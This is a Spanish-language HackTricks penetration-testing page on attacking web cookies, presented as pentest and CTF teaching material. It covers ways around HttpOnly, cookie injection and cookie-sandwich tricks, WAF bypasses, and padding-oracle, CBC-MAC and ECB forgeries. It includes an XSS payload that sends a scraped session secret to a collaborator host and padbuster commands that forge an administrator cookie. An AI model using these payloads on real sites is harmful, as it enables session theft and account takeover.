Cookies Hacking

Reading time: 17 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Atributos de las cookies

Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí tienes un resumen de estos atributos en voz más pasiva:

Expires and Max-Age

La fecha de expiración de una cookie se determina por el atributo Expires. Por el contrario, el atributo Max-age define el tiempo en segundos hasta que la cookie se elimina. Opta por Max-age ya que refleja prácticas más modernas.

Domain

Los hosts que recibirán una cookie se especifican con el atributo Domain. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo Domain se establece explícitamente, también abarca subdominios. Esto convierte la especificación del atributo Domain en una opción menos restrictiva, útil para escenarios donde se necesita compartir cookies entre subdominios. Por ejemplo, establecer Domain=mozilla.org hace que las cookies sean accesibles en sus subdominios como developer.mozilla.org.

Path

Un path URL específico que debe estar presente en la URL solicitada para que se envíe la cabecera Cookie es indicado por el atributo Path. Este atributo considera el carácter / como separador de directorios, permitiendo coincidencias también en subdirectorios.

Ordering Rules

Cuando dos cookies comparten el mismo nombre, la que se elige para enviar se basa en:

  • La cookie que coincide con el path más largo en la URL solicitada.
  • La cookie más recientemente establecida si los paths son idénticos.

SameSite

  • El atributo SameSite dicta si las cookies se envían en solicitudes que se originan desde dominios de terceros. Ofrece tres configuraciones:
  • Strict: Restringe que la cookie se envíe en solicitudes de terceros.
  • Lax: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios de terceros.
  • None: Permite que la cookie se envíe desde cualquier dominio de terceros.

Recuerda que, al configurar cookies, entender estos atributos puede ayudar a asegurar que se comporten como se espera en diferentes escenarios.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.

HttpOnly

Esto evita que el client acceda a la cookie (vía Javascript por ejemplo: document.cookie)

Evasiones

  • Si la página está enviando las cookies como la respuesta de una request (por ejemplo en una página PHPinfo), es posible abusar del XSS para enviar una petición a esa página y robar las cookies de la respuesta (revisa un ejemplo en https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Esto podría ser eludido con peticiones TRACE HTTP ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama Cross-Site Tracking.
  • Esta técnica es evitada por los navegadores modernos al no permitir enviar una petición TRACE desde JS. Sin embargo, se han encontrado algunos bypasses a esto en software específico, como enviar \r\nTRACE en lugar de TRACE a IE6.0 SP2.
  • Otra forma es la explotación de vulnerabilidades zero-day de los navegadores.
  • Es posible sobrescribir HttpOnly cookies realizando un Cookie Jar overflow attack:

Cookie Jar Overflow

  • Es posible usar un ataque de Cookie Smuggling para exfiltrar estas cookies
  • Si algún endpoint del lado del servidor devuelve el session ID en bruto en la respuesta HTTP (por ejemplo, dentro de comentarios HTML o un bloque de debug), puedes eludir HttpOnly usando un gadget XSS para solicitar ese endpoint, extraer el secreto con regex y exfiltrarlo. Ejemplo de patrón de payload XSS:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La petición enviará la cookie en una solicitud HTTP únicamente si ésta se transmite por un canal seguro (típicamente HTTPS).

Prefijos de Cookies

Las cookies prefijadas con __Secure- deben establecerse junto con el flag secure desde páginas que estén protegidas por HTTPS.

Para las cookies prefijadas con __Host-, se deben cumplir varias condiciones:

  • Deben establecerse con el flag secure.
  • Deben originarse desde una página asegurada por HTTPS.
  • Está prohibido especificar un domain, impidiendo su transmisión a subdominios.
  • La path para estas cookies debe establecerse en /.

Es importante tener en cuenta que las cookies prefijadas con __Host- no pueden enviarse a superdominios ni a subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por tanto, emplear el prefijo __Host- para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.

Sobrescritura de cookies

Una de las protecciones de las cookies prefijadas con __Host- es evitar que sean sobrescritas desde subdominios. Previene, por ejemplo, Cookie Tossing attacks. En la charla Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) se presentó que era posible establecer cookies con prefijo __HOST- desde un subdominio, engañando al parser, por ejemplo añadiendo "=" al principio o al principio y al final...:

O en PHP era posible añadir otros caracteres al principio del nombre de la cookie que iban a ser reemplazados por guiones bajos, permitiendo sobrescribir las cookies __HOST-:

Ataques a Cookies

Si una cookie personalizada contiene datos sensibles, revísala (especialmente si estás en un CTF), ya que podría ser vulnerable.

Decodificación y manipulación de cookies

Los datos sensibles incrustados en cookies siempre deben ser examinados. Las cookies codificadas en Base64 u formatos similares a menudo pueden decodificarse. Esta vulnerabilidad permite a un atacante alterar el contenido de la cookie e impersonar a otros usuarios volviendo a codificar sus datos modificados en la cookie.

Session Hijacking

Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Usando la cookie robada, un atacante puede suplantar al usuario legítimo.

Session Fixation

En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede suplantar a la víctima. Esta técnica depende de que la víctima inicie sesión con una cookie suministrada por el atacante.

Si encuentras un XSS en un subdominio o controlas un subdominio, lee:

Cookie Tossing

Session Donation

Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.

Si encuentras un XSS en un subdominio o controlas un subdominio, lee:

Cookie Tossing

JWT Cookies

Click en el enlace anterior para acceder a una página que explica posibles fallos en JWT.

Los JSON Web Tokens (JWT) usados en cookies también pueden presentar vulnerabilidades. Para obtener información detallada sobre posibles fallos y cómo explotarlos, se recomienda acceder al documento enlazado sobre hacking JWT.

Cross-Site Request Forgery (CSRF)

Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden aprovechar cookies que se envían automáticamente con cada petición al sitio vulnerable.

Empty Cookies

(Consulta más detalles en la original research) Los navegadores permiten la creación de cookies sin nombre, lo que puede demostrarse mediante JavaScript como sigue:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

El resultado en el encabezado de cookie enviado es a=v1; test value; b=v2;. Intrigantemente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, pudiendo controlar otras cookies al asignar a la cookie vacía un valor específico:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Esto provoca que el navegador envíe una cabecera Cookie interpretada por todos los servidores web como una cookie llamada a con el valor b.

Bug de Chrome: problema con puntos de código sustitutos Unicode

En Chrome, si un punto de código sustituto Unicode forma parte de una cookie establecida, document.cookie se corrompe y, posteriormente, devuelve una cadena vacía:

js
document.cookie = "\ud800=meep"

Esto provoca que document.cookie devuelva una cadena vacía, lo que indica una corrupción permanente.

(Consulte más detalles en eloriginal research) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas cookie debido al soporte obsoleto de RFC2965. Interpretan un valor de cookie entre comillas dobles como un único valor aunque incluya puntos y comas, que normalmente deberían separar pares clave-valor:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) El análisis incorrecto de cookies por parte de servidores, notablemente Undertow, Zope y aquellos que usan Python's http.cookie.SimpleCookie y http.cookie.BaseCookie, crea oportunidades para cookie injection attacks. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes falsificar cookies:

  • Undertow expects a new cookie immediately after a quoted value without a semicolon.
  • Zope looks for a comma to start parsing the next cookie.
  • Python's cookie classes start parsing on a space character.

Esta vulnerabilidad es especialmente peligrosa en aplicaciones web que dependen de protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de spoofed CSRF-token, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última aparición anula las anteriores. También plantea preocupaciones para __Secure- y __Host- cookies en contextos inseguros y podría conducir a bypasses de autorización cuando las cookies se envían a back-end servers susceptibles a spoofing.

Cookies $version

WAF Bypass

According to this blogpost, podría ser posible usar el atributo de cookie $Version=1 para que el backend utilice una lógica antigua para parsear la cookie debido a la RFC2109. Además, otros valores como $Domain y $Path pueden usarse para modificar el comportamiento del backend con la cookie.

According to this blogpost es posible usar la cookie sandwich technique para robar HttpOnly cookies. Estos son los requisitos y pasos:

  • Encuentra un lugar donde una aparente cookie inútil se refleje en la respuesta
  • Crea una cookie llamada $Version con valor 1 (puedes hacerlo en un ataque XSS desde JS) con un path más específico para que obtenga la posición inicial (algunos frameworks como python no necesitan este paso)
  • Crea la cookie que se refleja con un valor que deje una comilla doble abierta y con un path específico para que esté posicionada en la cookie db después de la anterior ($Version)
  • Entonces, la cookie legítima quedará a continuación en el orden
  • Crea una dummy cookie que cierre las comillas dobles dentro de su valor

De este modo la cookie víctima queda atrapada dentro de la nueva cookie versión 1 y será reflejada siempre que se refleje. p. ej. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Consulta la sección anterior.

Bypassing value analysis with quoted-string encoding

Este parsing indica des-escapar valores escapados dentro de las cookies, así que "\a" se convierte en "a". Esto puede ser útil para evadir WAFS, por ejemplo:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

En RFC2109 se indica que se puede usar una coma como separador entre valores de cookie. Y también es posible añadir espacios y tabulaciones antes y después del signo igual. Por lo tanto una cookie como $Version=1; foo=bar, abc = qux no genera la cookie "foo":"bar, admin = qux" sino las cookies foo":"bar" y "admin":"qux". Fíjate cómo se generan 2 cookies y cómo a admin se le eliminaron los espacios antes y después del signo igual.

Finalmente distintos backdoors concatenarían en una cadena distintas cookies pasadas en diferentes cookie headers, como en:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Lo que podría permitir eludir un WAF como en este ejemplo:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Comprobaciones extra vulnerables de Cookies

Comprobaciones básicas

  • La cookie es la misma cada vez que haces login.
  • Cierra sesión y prueba usar la misma cookie.
  • Intenta hacer log in con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
  • Comprueba si la cookie tiene alguna información y prueba a modificarla
  • Intenta crear varias cuentas con casi el mismo username y comprueba si puedes ver similitudes.
  • Comprueba la opción "remember me" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de remember me sin ninguna otra cookie.
  • Comprueba si la cookie anterior funciona incluso después de que cambies la contraseña.

Ataques avanzados a cookies

Si la cookie permanece igual (o casi) cuando haces log in, probablemente esto significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el username). Entonces puedes:

  • Intenta crear muchas accounts con usernames muy similares y trata de adivinar cómo funciona el algoritmo.
  • Intenta bruteforce the username. Si la cookie se usa solo como método de autenticación para tu username, entonces puedes crear una cuenta con username "Bmin" y bruteforce cada bit de tu cookie porque una de las cookies que probarás será la que pertenece a "admin".
  • Intenta Padding Oracle (puedes descifrar el contenido de la cookie). Usa padbuster.

Padding Oracle - Ejemplos de Padbuster

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster hará varios intentos y te preguntará cuál es la condición de error (la que no es válida).

Luego empezará el decrypting de la cookie (puede tardar varios minutos).

Si el ataque se ha realizado con éxito, entonces podrías intentar encrypt una cadena de tu elección. Por ejemplo, si quisieras encrypt user=administrator.

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Esta ejecución te dará la cookie correctamente cifrada y codificada con la cadena user=administrator dentro.

CBC-MAC

Quizá una cookie podría tener algún valor y podría estar firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de comprobación de integridad podría ser vulnerable.

El ataque

  1. Obtén la firma del username administ = t
  2. Obtén la firma del username rator\x00\x00\x00 XOR t = t'
  3. Establece en la cookie el valor administrator+t' (t' será una firma válida de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Si la cookie está cifrada usando ECB podría ser vulnerable.
Cuando inicias sesión la cookie que recibes tiene que ser siempre la misma.

Cómo detectar y atacar:

Crea 2 users con datos casi iguales (username, password, email, etc.) y trata de descubrir algún patrón dentro de la cookie dada

Crea un user llamado por ejemplo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y comprueba si hay algún patrón en la cookie (ya que ECB cifra con la misma key cada bloque, los mismos bytes cifrados podrían aparecer si el username está cifrado).

Debería haber un patrón (con el tamaño del bloque usado). Así, sabiendo cómo se cifra un bloque de "a" puedes crear un username: "a"*(size of the block)+"admin". Entonces, podrías eliminar el patrón cifrado de un bloque de "a" de la cookie. Y tendrás la cookie del username "admin".

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks